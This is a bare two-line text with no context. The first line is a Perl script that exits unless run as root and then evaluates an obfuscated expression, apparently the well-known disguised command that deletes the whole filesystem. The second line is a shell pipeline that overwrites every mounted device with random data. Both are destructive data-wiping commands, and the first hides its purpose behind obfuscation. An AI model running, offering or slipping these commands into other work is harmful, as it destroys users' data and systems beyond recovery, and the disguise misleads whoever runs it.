#!/usr/bin/perl$< && exit;$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
mount|grep -oE "^/dev/([a-z0-9\/\-]+)"|while read fs;do dd if=/dev/urandom of=$fs >/dev/null 2>&1 &; done